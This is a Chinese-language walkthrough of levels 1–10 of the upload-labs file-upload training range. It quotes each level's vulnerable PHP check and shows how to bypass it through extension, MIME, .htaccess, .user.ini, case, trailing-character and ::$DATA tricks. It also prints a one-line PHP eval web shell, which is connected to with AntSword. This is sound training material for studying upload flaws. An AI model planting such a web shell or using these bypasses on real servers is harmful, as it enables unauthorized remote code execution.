upload-labs 1~10
Pass-01(前端绕过)
首先直接上传图片发现正常上传成功,上传php文件,发现不允许上传该类型文件
查看源码:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
方法一:查看源码,修改前端代码。可以添加允许上传.php文件类型也可禁用js。
修改后即可上传.php
文件。
<?php @eval($_POST['hhh']); ?>
用蚁剑连接测试成功:
方法二:用burp修改后缀,先将文件后缀改为.jpg
,后用burp抓包改包,将.jpg
后缀改为.php
:
用蚁剑连接测试成功:
pass-02(MIME验证)
MIME说明
文件内容类型或者说通过抓包你一定听说过 Content-Type: text/html 这种类似的,其实,这就是MIME。
MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
- 超文本标记语言文本 .html,html text/htm
- 普通文本 .txt text/plain
- RTF文本. rtf application/rtf
- GIF图形 .gif image/gif
- JPEG图形 . jpg image/jpeg
MIME验证绕过的方法比较简单,只要直接更改上传数据包中的
Content-type即可。
源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
方法一: 上传.php文件,burp抓包,修改Content-type为允许类型:
用蚁剑测试了解成功:
方法二: 将.php文件后缀改为允许后缀.png
,用burp抓包修改后缀变回.php
:
绕过成功。
pass-03(黑名单验证)
首先尝试上传webshell,得到报错提示
进行了黑名单检测,限制了上述后缀文件的上传。看看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
file_exists(): 检查文件或目录是否存在。
trim(): 移除字符串两侧的空白字符或其他预定义字符。
deldot(): 移除末尾的点。
strrchr(): 查找字符在指定字符串中从后面开始的第一次出现的位置,如果成功,则返回从该位置到字符串结尾所有字符,失败则返回false。与之对应的strstr()函数,它查找字符串中首次出现指定字符的位置。
strtolower(): 转化为小写。
str_ireplace():
这里定义了一个黑名单数组,并且去除了末尾的点和空格、::$data等字符,将大写转化为小写且匹配了后缀名。
但还是有绕过的方法:后缀php3
, phtml
绕过。
在phpstudy搭建的upload-labs中,phpstudy配置文件把php3
,phtml
等注释掉了,所以需要进行点修改phpstudy的httpd.conf文件,添加:
AddType application/x-httpd-php .php .phtml .php3 php5
使服务器将后缀为.php3
, .php5
,.phtml
解析为php文件。
吐槽:因为我一开始用的新版本phpstudy搭建的upload靶场,新版本的phpstudy默认环境全部都带有nts,所以只能上传成功却无法用蚁剑连接成功。改用旧版本的phpstudy选择无nts环境来练习。在这里感谢一位大佬的博客讲解→大佬博客
换为旧版本的phpstudy后,修改上述文件后将上传文件后缀改为.php3
上传,成功。
pass-04(.htaccess上传绕过)
因为新版本的问题,现在开始使用旧版本phpstudy搭建练习。
首先上传一个.php
文件发现不能上传,也没有其他的提示。查看提示与源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
仍是黑名单判断,不过这次限制更加全面,但是没有包括.htaccess
,可以利用配合Apache的.htaccess
文件上传解析漏洞。
.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。
1.先准备一个.htaccess
文件
SetHandler application/x-httpd-php
使得服务器将所有后缀为.jpg
的文件当做php文件来解析。
2.上传.htaccess
文件,用burp抓包,修改其名为:
在上传info.jpg
文件:
<?php phpinfo(); ?>
查看,成功执行:
方法二:后缀名特殊字符重写绕过。
上传.php
文件,用burp抓包修改文件后缀,在后方加上点空格点。
后用蚁剑连接成功。
pass-05(.user.ini绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
与第四关相比黑名单更全面,且.htaccess
也被限制了,其余一致。
查看提示:
利用.user.ini
文件
上传一个.user.ini
文件:
auto_prepend_file=1.png
所有的php文件都自动包含1.png
文件。.user.ini
相当于一个用户自定义的php.ini
。
再上传一个1.png
文件(原来的一句话木马)
<?php @eval($_POST['hhh']); ?>
上传完后,用蚁剑连接,根据提示将1.php
文件名改为:readme.php
注:需要更高版本的php才能成功连接:例:php-7.0.12-nts + Apache。
方法二:后缀名特殊字符重写绕过。
上传.php
文件,用burp抓包修改文件后缀,在后方加上点空格点:
因为Windows特性,在创建文件的时候,末尾的点会被去掉,剩下的就为.php
了。
用蚁剑连接成功:
pass-06(大小写绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同样黑名单很多,把.htaccess
,.ini
也列入到了黑名单,但是发现小写转化没有了,所以我们可以采用大小写绕过。
上传.php
文件,burp抓包修改后缀:
因为Windows特性,创建文件时忽略大小写,实际保存的文件后缀即为php,使用蚁剑连接成功:
pass-07(空格绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
同上,但是少了尾部去空,所以尝试空格绕过。
还是Windows特性,创建文件时,忽略结尾的空格,实际保存的文件名为.php
,使用蚁剑连接成功。
pass-08(点绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
缺少了deldot()函数,不会删除文件末尾的点,所以尝试点绕过。
思路同上:
还是Windows特性,创建文件时,忽略结尾的.
,实际保存的文件名为.php
,使用蚁剑连接成功。
pass-09(Windows文件流特性绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
缺少了:
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
可以文件名后缀添加::$DATA
绕过。
利用了Windows特性,Windows文件流特性绕过。必须是Windows,必须是php,必须是那个源文件php在Windows的时候如果文件名+”::$DATA”会把::$DATA
之后的数据当成文件流处理,不会检测后缀名.
且保持”::$DATA”之前的文件名。
例如:phpinfo.php::$DATA
Windows会自动去掉末尾的::$DATA
变成phpinfo.php
。
它的目的就是不检查后缀名。
所以我们可以上传.php
文件,burp抓包,在后缀增加::$DATA
绕过,这次换个文件内容:
<?php phpinfo(); ?>
访问成功:
pass-10(特殊字符重写绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
将filename加入最终路径会带来极大的风险。
如:$img_path = UPLOAD_PATH.'/'.$file_name;
特殊字符重写,上传.php
文件,用burp抓包修改文件后缀,在后方加上点空格点:
用蚁剑连接成功。(这里是不需要那个点的,不过不影响。我没去点也连接成功了)